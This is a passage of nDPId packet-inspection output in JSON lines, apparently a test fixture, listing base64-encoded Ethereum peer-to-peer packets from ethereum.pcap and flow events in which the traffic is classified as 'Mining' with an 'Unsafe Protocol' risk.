+01126{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":787529,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"EBMx8Tl2KDc3AG3ICABFAAI0AABAAEAGE7PAqAG4v+qixt0sdl9ft67BaRBwQoAYEAly\/gAAAQEICiLYlUk0GJnqAf4EJhKzdp5pxVQQvZobp5kh+TMF4U\/9E6m1Jb+siU6axKLN+2ZwcIbYufIaN4E1lBtRBxLO\/\/\/3u1CE3oPIXdiN07AhovNAxOgbgENvj3edoo4ICQLGTlBtFbWMvxdBfO+HD5jIH45SObfWIcb0dqjhtOZEdT3CoklJ2b3tMaa5KvkuVFfHwBlaXTwwgAmPHK7s0eXQe17EcT1aCvqSjCCMCCT+8SLinZlW5+mC2pjasEK2OxNuBI9ZU1j\/06qGWR\/mX19XFBQ564nSx\/vZTcv\/LDr5JZ6kVv6ACGrzgDr5ZcOBAIhv+jXwCEpZbzb5mHOVCBb2xQgQNYdfe9BePtcJjPpI\/ZB3+k3+QqRRnAqJCUvrgjfrhnoqBfnZz5Aa92zocc1VuRRwDtWXxF6l4MKhV+YtgjJTQMR2GaI4A4rUu32gdoJ92BBS2gyGJsovefVT5Lp18y4Ggu4XPQZFm31kOhjJGWGyFISukDajIOMlmXuuoktRIYXDsDK+FqGiTLBkTzEuq\/nOQwqHWqUVQv7AtprM8kmJpux9joitBQ9HjtTajRaKcZg4FiAWJsOi0hTrrxXvZLdMGiwPpOvIgWPKH9\/e48WCSCXXeAUIHyszHT55IhnBxoUaDb3mbTerDdH5IGQYH\/H3dqim9yRTiafMm4+oArTm0GJNE7en8qQ="} +00563{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":285,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1578508364523,"flow_last_seen":1578508364787,"flow_tot_l4_data_len":660,"flow_min_l4_data_len":32,"flow_max_l4_data_len":544,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"191.234.162.198","src_port":56620,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00438{"flow_id":30,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":789015,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFCAA8AABAADMGVclSkdz5wKgBuHZf3TlFnUTdn3ylU6AScSDFhwAAAgQFrAQCCAqGNr5sItiVBQEDAwc="} +00426{"flow_id":30,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":789130,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGSNnAqAG4UpHc+d05dl+ffKVTRZ1E3oAQECxU+wAAAQEICiLYlUqGNr5s"} +01034{"flow_id":30,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":790328,"pkt_caplen":508,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":508,"pkt_l4_len":474,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHuAABAAEAGRx\/AqAG4UpHc+d05dl+ffKVTRZ1E3oAYECw2hgAAAQEICiLYlUuGNr5sAbgE+BmJLzoAbqRJcy4E\/iNtAFtLgtXpllstBclKEt5AnMXYGDdphSPJ1KIQvJTGf+9D1\/uw8EOSSNaNpRNmhN1YpzqwBB+UfOM9qX2vrU3G1YJxG2RZPME5ZUZk\/kgeZ7rIiOnYRKx6kWFUUnLZ8OsoDa3t8bX5X+9+dwsMEQyO6lSJzX\/dEyWFv6AJN2hdOJnpLC472Lu7+E2LUrGhQLC+Emyq1jOnKhDSFttfS00NHmPXwFrclYGDOLl9k+5+G3D529p9EZ6wbdj7Qz\/oRYRnaEpr2ctyJRZdjfnsWEEKb1qoRibikyw5j02Xg59M6viqKIkVIPCRQt5JerVtVIirhv22Km\/aNWFPejNJFLRRr5rwcZVcBqS+S\/tv6ngY\/ko\/\/k2gl4+\/KFrzspSi5aYNJ9t7ke+vJICy6PdG4QxxH8dkPVUkP3dIi1tg77kY0whwnoK1RAs9h5hFL1uTlk2FcOdFu2a7OtIJV6Hxt7a0VtuZleF1M98V0iWkzUB3MBf18p1iVLiMtvw\/17+Q+Xu8T9F2B88ZHPhzy4V1FQfIWioA8cFKRqsn9i6ldmWM9imMP1gRI2YqEw=="} +00426{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":289,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":799543,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0jZZAADIGtYai86BTwKgBuHZf3SW77REP6nqwfYAQAOuzMQAAAQEICnVn1Hci2JTH"} +00884{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":290,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":802654,"pkt_caplen":401,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":401,"pkt_l4_len":367,"pkt":"KDc3AG3IEBMx8Tl2CABFAAGDjZdAADIGtDai86BTwKgBuHZf3SW77REP6nqwfYAYAOt4rwAAAQEICnVn1Hgi2JTHAU0EtOpNEU5HOqta1IKk18cALBRNcNUFMt8\/jxWo6k\/x5CorwhdPLVmQmNw8ugr4Zh17jmZPWmFySs5ZXDvCgd+0DxCZZEj8TRvVM6jxF9q+sW4rHYfhTpuT9igIFzKihq093rVp7rqxpaYjYBVje5XLKeNJ1a4G7hB2SaB4\/jOn3Mag\/GmrvNb4FEsg1nEC+VvcjwsLs4QQLjC1bCIdi9DDtP3r8Mg\/p8GzBIsZzS5uU3wI1zKdIxeD5NqRKZttCcW7Dk57pViocAhVxd4LM1DM9n4kMZYzZa8E8f5xqxv2Hyjnusgn3zYuHdnQKCnwOeD4d3Zmea4EwdO\/bt+9cJsZke2RAS5x2ARVFIWTIom2fKkFWTJ3LtK0mH0G3Acut64vrZEGl9CUh0glARF+seri0f0wpCvERLhP4VLFB7huEB4f+\/x6rkEoYcLf+1s="} +00427{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":802745,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGNR3AqAG4ovOgU90ldl\/qerB9u+0SXoAQECGiGwAAAQEICiLYlVd1Z9R4"} +00471{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":803422,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"EBMx8Tl2KDc3AG3ICABFAABUAABAAEAGNP3AqAG4ovOgU90ldl\/qerB9u+0SXoAYECHk7gAAAQEICiLYlVd1Z9R4qB7rhOXyDkG7gf4wVue1YKGdu7r54mR2rHXQFcpIbKw="} +00431{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":293,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":803435,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA1AABAAEAGNRzAqAG4ovOgU90ldl\/qerCdu+0SXoAYECE+8gAAAQEICiLYlVd1Z9R4Yw=="} +00599{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":803504,"pkt_caplen":190,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":190,"pkt_l4_len":156,"pkt":"EBMx8Tl2KDc3AG3ICABFAACwAABAAEAGNKHAqAG4ovOgU90ldl\/qerCeu+0SXoAYECHouQAAAQEICiLYlVd1Z9R4lfDP5tjJZpMfMjR7eiKq0MDCgLKaeJFxEU3f+IZKTWjmMrd+cbze++CWY0cTERf8CYqt6vfqCR3lfDFsuymJupfomkb1vapTP00fTHjTZ3Vess+sh+PKmRGkZHOlmkCR1I2sz7QsY0HpykuOFDo4U1A3RyWGkH+BzXaDFQ=="} +00432{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":295,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":803516,"pkt_caplen":69,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":69,"pkt_l4_len":35,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA3AABAAEAGNRrAqAG4ovOgU90ldl\/qerEau+0SXoAYECG6xwAAAQEICiLYlVd1Z9R46qr8"} +00454{"flow_id":12,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":296,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":803572,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"EBMx8Tl2KDc3AG3ICABFAABEAABAAEAGNQ3AqAG4ovOgU90ldl\/qerEdu+0SXoAYECHIiwAAAQEICiLYlVd1Z9R4SrQMBxeRIeYtZ96E\/Nk\/3w=="} +00438{"flow_id":27,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":297,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":817367,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACgG15goQ5CAwKgBuHZf3TZG9x3QfGwlk6AScSARhwAAAgQFoAQCCApyLMYFItiU0QEDAwc="} +00426{"flow_id":27,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":817435,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGv6DAqAG4KEOQgN02dl98bCWTRvcd0YAQEAmgwgAAAQEICiLYlWVyLMYF"} +01017{"flow_id":27,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":299,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":819362,"pkt_caplen":497,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":497,"pkt_l4_len":463,"pkt":"EBMx8Tl2KDc3AG3ICABFAAHjAABAAEAGvfHAqAG4KEOQgN02dl98bCWTRvcd0YAYEAkbTwAAAQEICiLYlWZyLMYFAa0Ey5AJp+rqiYui2XJhTnXZBJkH5XqkpqhKXB9q3N\/UBg6aH0ITAIzQTYh41Z0vqIfdNbFjI2M7A8sN9PUiSu8TV5Cs64LQASrBDQCF8MVxSCPGNQ6BEWmSENswxL8ceRJOueTfy5OvLaHSA7FXRwT+XvNykJjth+MvcIxmFGydmjSa4fyssivk0NkecLBk\/LbiDmJu2BTeTgoXHjKEDMg87SrK1iTUWixOVjx7O2MGaELLaKpspEqTGl9xj2HeqWUHMVWd9V+dS7Y+56TCK0GPSragl2QnRf7VlQlCvw0\/MZ7iu\/AW4\/XSWDzw2rHMxbRtGn+M7VSLcDq\/Qe7Z+lWYwJUFWb9o71ZK\/rbouY4G6\/cjr45B\/iiKv9hR4avvCTKzqULT9xMbKgm+cd4Qnn+lpk7BKcksqIBdq8OmF8WO5boWxQBTm85Nir2n\/K5LqPNW5ucu43bvpiH+URwIIGtOBSqDWbESlgX5+Lt+RVXXjyMMA\/ixkSucsRdGQOvHXlsG2vz5qqJ9X2NATbeDunAC77oN2Jcn0vlr5Y\/q51yA38qsdLYzTxhlrKEm+sQ="} +00426{"flow_id":24,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":822285,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0EGtAAC8GR9kD0S1PwKgBuHZf3TTdrvLTmxdW8YAQAOtVRwAAAQEICk6VEKsi2JTS"} +01066{"flow_id":24,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":301,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823015,"pkt_caplen":536,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":536,"pkt_l4_len":502,"pkt":"KDc3AG3IEBMx8Tl2CABFAAIKEGxAAC8GRgID0S1PwKgBuHZf3TTdrvLTmxdW8YAYAOu8qQAAAQEICk6VEKwi2JTSAdQEXW6fVgBGyC8ytrEu4ahZmzF\/xFp9QwNg0DSZ\/+M3wczRKpcxqDPKDwbh6lmGx\/l8m1tkcHNypK0UkKl9xFFfGk+x16UgGgOagXkQFc\/e2JXSUHr91\/ldo5U2nO8vfuURLkPkbD2bH4exu01h2kbp8sshYe6sqlQvHgK4\/pW7if2MoEZbGLVNd5sqXOkW\/9+k4PwFSd9eUc4UqThcJJ7UUk72teDjvy7RzkR\/BHxpUyoCAAp8B1eOd5xOUze9dRSGd4DRQdAn1pjNFI5u1KqC9Zl3OqgNuHsUizLJpc6vgwGXEb0JJYwnUCFjO4Ti8NTfDWOsfNsPB6TQYWhGE46mNIHxHYhZcVmtYiD02WDSYGQ+DqRnICN+9Xl3Unw+pzahKEM7pC6V73xolfQKn06XQrbqAlu6vesrHaZljcaUMMRPMRyXY2U48YpGHTkraaJGC3DvFAv96kuvKclPBqVlBmrPkatpSQt8PYP5BwIvfVd0fjawIdAJfDAoOJmvCKVYsF5QdYLy+cTxJnrLLst0iGEj9LhZFLs\/JqXGXQOicB0AvCarFpl0nM4bePy6LgAB7A1Y5p1U2WPXdjHuDKh86I61tiUO3VCmdaDwbpT3k8JQLYU="} +00426{"flow_id":24,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":302,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823120,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR0TAqAG4A9EtT900dl+bF1bx3a70qYAQEB1DqAAAAQEICiLYlWhOlRCs"} +00470{"flow_id":24,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823179,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"KDc3AG3IEBMx8Tl2CABFAABUEG1AAC8GR7cD0S1PwKgBuHZf3TTdrvSpmxdW8YAYAOs7nQAAAQEICk6VEKwi2JTSHHlbI663HlBlqhCztiz1v+iEJRHJqaLgSpim1SRPIN8="} +00430{"flow_id":24,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823195,"pkt_caplen":67,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":67,"pkt_l4_len":33,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA1EG5AAC8GR9UD0S1PwKgBuHZf3TTdrvTJmxdW8YAYAOshRwAAAQEICk6VEKwi2JTSMg=="} +00427{"flow_id":24,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823211,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR0TAqAG4A9EtT900dl+bF1bx3a70yYAQEBxDiQAAAQEICiLYlWhOlRCs"} +00427{"flow_id":24,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823224,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR0TAqAG4A9EtT900dl+bF1bx3a70yoAQEBxDiAAAAQEICiLYlWhOlRCs"} +00431{"flow_id":24,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823320,"pkt_caplen":68,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":68,"pkt_l4_len":34,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA2EG9AAC8GR9MD0S1PwKgBuHZf3TTdrvTKmxdW8YAYAOvr6gAAAQEICk6VEKwi2JTSZ1o="} +00448{"flow_id":24,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823336,"pkt_caplen":79,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":79,"pkt_l4_len":45,"pkt":"KDc3AG3IEBMx8Tl2CABFAABBEHBAAC8GR8cD0S1PwKgBuHZf3TTdrvTMmxdW8YAYAOsRtgAAAQEICk6VEKwi2JTSa3IwvqEKiAw\/Ph78Hg=="} +00451{"flow_id":24,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823346,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"KDc3AG3IEBMx8Tl2CABFAABEEHFAAC8GR8MD0S1PwKgBuHZf3TTdrvTZmxdW8YAYAOvZIgAAAQEICk6VEKwi2JTSYL0bmiUz0WRRW26Jpqqghg=="} +00427{"flow_id":24,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":310,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823357,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR0TAqAG4A9EtT900dl+bF1bx3a70zIAQEBxDhQAAAQEICiLYlWlOlRCs"} +00439{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":314,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823555,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAACYGE48SimxDwKgBuHZf3S4uwDPtE20MrKAS\/ogQ2gAAAgQFrAQCCAqmusMwItiUTwEDAwc="} +00426{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":316,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":823597,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+ZbAqAG4EopsQ90udl8TbQysLsAz7oAQECws4QAAAQEICiLYlWmmusMw"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":328,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1578508364824,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"159.203.84.31","src_port":56634,"dst_port":30303,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":328,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":824682,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGhG3AqAG4n8tUH906dl\/csM+rAAAAALAC\/\/\/IeAAAAgQFtAEDAwUBAQgKItiVagAAAAAEAgAA"} +01152{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":329,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":825302,"pkt_caplen":597,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":597,"pkt_l4_len":563,"pkt":"EBMx8Tl2KDc3AG3ICABFAAJHAABAAEAG94PAqAG4EopsQ90udl8TbQysLsAz7oAYECykNwAAAQEICiLYlWqmusMwAhEE9VEMnxi7\/+u3S\/7SD265WwXEe4fwDjOiQLsVOQxpxalSy7LlsUK4AEo+a1Qu54SdJYKUHtZVjJeiTzpaNscMEPnLhkYVoH1ZsfMM3SzSNckPwo27vBvsTXbvepFdGGfyt6oFIMjfApJBdBhKGuhBHU6KYxOnBPvkfjAzhNAEG9ZOct\/f9PMzeR\/3HfpP\/\/foRU+R\/UwxyK3KsOUDV7ivmQnjXPHpshdWKhSI2CmV4f4t9S2wPNhYMZFG90t1+c8FUX4hZ8IJSblZ1Hw\/xRVdy1XIr79XD\/YbXUlCbMbQSwpyRMeybOWZ\/3FFKK4\/m072RVgcU5vgNs2kQIANqMn50n9GdB1kT5VpcmbfktccGTcPpL5cqtUiHf9rj39T3mWxv4q8GrISLBQTR\/tbUOSXcuAGYHTUa5PLnQdiQlMB2NU3XarTCVXOKj2xulN5GvsPX5Wy2aKOHMGmdrt9tRWyzeNSeOUUMuTlnroJDaW6hq8\/QtG57+o9cfcesHmgUsKpYao1qZUd8lFRvDjla17QhLWfcHO9Zm9qK6x9TBb29EZ6\/QlYYuy+Jy9TbYE\/LjA7KJU9R0TdX0NGBywzUrgAwjm8rFolFhr0dTH8CYc1zYL1wnwny0ezNRkgVRVqWSfxkV4mnKvCfyi9XKSx7Th9OnlEAk6m8Cg8tenmIjIAm6NyXqFCsVFiylc5ACi9wAUl"} +00561{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":329,"source":"ethereum.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":4,"flow_first_seen":1578508364523,"flow_last_seen":1578508364825,"flow_tot_l4_data_len":679,"flow_min_l4_data_len":32,"flow_max_l4_data_len":563,"flow_avg_l4_data_len":169,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.184","dst_ip":"18.138.108.67","src_port":56622,"dst_port":30303,"l4_proto":"tcp","ndpi": {"flow_risk": {"22":"Unsafe Protocol"},"proto":"Mining","breed":"Unsafe","category":"Mining"}} +00426{"flow_id":28,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":330,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":829266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0JQ9AACsG43ozJlG0wKgBuHZf3ThkB68WWi0CdYAQAOuoBwAAAQEICoEcihsi2JUn"} +01028{"flow_id":28,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":331,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831143,"pkt_caplen":505,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":505,"pkt_l4_len":471,"pkt":"KDc3AG3IEBMx8Tl2CABFAAHrJRBAACsG4cIzJlG0wKgBuHZf3ThkB68WWi0CdYAYAOvEVgAAAQEICoEcih0i2JUnAbUEk0KGjGJagFndDHA+KKn\/VT1eyvRKqxKxxDSpqq4SVF+jceeNADw9hBltpVnuSWdtx30sbXMrmNc3T2yLX8HmLwXp\/8+qe\/ygamYBh3Lsyf+jiEa7m2phZOC4kk5HUe2I2MKDjEAHD5GSQQ1TnqmGYY+zsNs+WR8YozLHUxRxhmEIeJ3JRf8x+zquQBVBl9TtmswUlJzqOdYvRgVRIuXSRwL+EA6JMGXT2b2MX7cMdU5NEz+sJ4HXZdrStbJRnFH71Bjp8\/fpbKfH1sj8YoFjAomgdmqjt9bYgxIuPcygXTdO\/mX+8\/xcfkMErpSk7dXHIjMiyrFbfHWCgomfQ+aLFikQRHEXStTxYHNLMlm63EaK6+KF7LrRwJWMM5c2AQ8qGQehDwIi0\/KIU8\/cvQqRIr1KXuPGw4u2ptD\/VnVJk6FtFK\/iKM5LLbGqvhd+xToDZpw+Luxesthj8TWfghI\/l25AnpL8wjtrSxCW46XDTmiaybEccYzTi0NjYmlj5sFB9LnjnUuat7RzCmsIqpprwPZxPNGFDEUjs8wgnuepKDZeMVqg6Q5IyYUOCeMB9NW4tK6f8A=="} +00439{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":332,"source":"ethereum.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1578508364,"pkt_ts_usec":831187,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAAOcGbbUSilEcwKgBuHZf3S\/8FjKFFTVZHKASaN8k0QAAAgQFrAQCCApjgYkbItiUTwEDAwc="} 